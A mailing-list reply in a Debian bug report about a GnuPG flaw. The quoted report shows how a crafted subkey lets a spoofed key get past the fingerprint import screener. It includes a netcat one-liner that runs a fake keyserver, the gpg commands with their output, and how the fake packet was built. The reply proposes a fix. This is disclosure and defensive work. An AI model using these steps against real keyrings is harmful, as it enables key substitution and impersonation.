Control: forwarded 909755 https://dev.gnupg.org/T3398
On Thu 2018-09-27 19:37:08 +0200, Jakub Wilk wrote: > To fix #725411, an import screener was implemented, which rejects keys > with fingerprints other than those that were requested by user. > > Unfortunately, it's possible to bypass the import screener by appending > a crafted subkey to an arbitrary key: > > $ gpg --keyserver keyserver.ubuntu.com --recv-key > 0EE5BE979282D80B9F7540F1CCD2ED94D21739E9 > gpg: key CCD2ED94D21739E9: public key "Daniel Kahn Gillmor > <d...@fifthhorseman.net>" imported > gpg: no ultimately trusted keys found > gpg: Total number processed: 1 > gpg: imported: 1 > > $ (printf 'HTTP/1.0 200 OK\n\n'; cat fakeCCD2ED94D21739E9.pgp) | > nc.openbsd -N -l -p 11371 > /dev/null & # poor man's malicious key server > > $ gpg --keyserver localhost --recv-key > 0EE5BE979282D80B9F7540F1CCD2ED94D21739E9 > gpg: key 60B0EEAA28CB19E1: "Totally Legit Signing Key > <mall...@example.org>" not changed > gpg: Total number processed: 1 > gpg: unchanged: 1 > > $ gpg --list-packets fakeCCD2ED94D21739E9.pgp | tail -n6 > # off=402 ctb=b9 tag=14 hlen=3 plen=525 > :public sub key packet: > version 4, algo 1, created 1180812858, expires 0 > pkey[0]: [4096 bits] > pkey[1]: [17 bits] > keyid: CCD2ED94D21739E9 > > The subkey was made by taking the original key's public key and changing > the packet's tag, so it has the same fingerprint as the original key. yes, this is clearly a possible attack. It has been discussed with upstream in detail, and upstream knows about it as https://dev.gnupg.org/T3398, where i've also offered a proposed solution, which i'll copy here: By default, when doing `--receive-keys` with a fingerprint, the screener should only admit OpenPGP certificates that include a key matching the fingerprint //which has a valid signature in the certificate itself//. This means, for example, that either this is the fingerprint of the primary key itself, or it is the fingerprint of a signing-capable subkey that has a well-formed (and cryptographically valid) public key binding cross-signature. This would mean that: * refreshes of a curated keyring would still work * you could still fetch a key based on the "Issuer Fingerprint" (or "Issuer Key ID") of a signature (in order to validate the signature) even if it was a subkey, because signing keys need cross-sigs However: * you could not necessarily use `--receive-keys` for retreiving a key based on the embedded key ID in a PKESK (e.g. "let's see who else this message appears to have been encrypted to"). I think this is a minor use case by comparison with the above two use cases, and it is less security-sensitive. Perhaps we could add an additional option (`--keyserver-options no-require-signature-when-fetching-by-fpr`?) that would re-enable this use case, if we want to support it. Regards, --dkg
signature.asc
Description: PGP signature